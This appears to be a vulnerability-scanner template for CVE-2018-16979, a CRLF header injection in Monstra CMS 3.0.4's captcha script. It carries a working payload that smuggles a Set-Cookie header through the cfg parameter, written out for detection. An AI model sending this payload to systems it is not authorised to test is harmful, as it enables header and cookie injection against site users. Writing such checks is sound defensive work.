id: CVE-2018-16979

info:
  name: Monstra CMS V3.0.4 - HTTP Header Injection
  author: 0x_Akoko
  severity: medium
  description: |
    Monstra CMS V3.0.4 allows HTTP header injection in the plugins/captcha/crypt/cryptographp.php cfg parameter.
  reference:
    - https://github.com/howchen/howchen/issues/4
    - https://nvd.nist.gov/vuln/detail/CVE-2018-16979
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2018-16979
    cwe-id: CWE-113
  metadata:
    verified: "true"
  tags: cve,cve2018,crlf,mostra,mostracms,cms

requests:
  - method: GET
    path:
      - "{{BaseURL}}/plugins/captcha/crypt/cryptographp.php?cfg=1%0D%0ASet-Cookie:%20crlfinjection=1"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - 'new line detected in'
          - 'cryptographp.php'
        condition: and

      - type: status
        status:
          - 200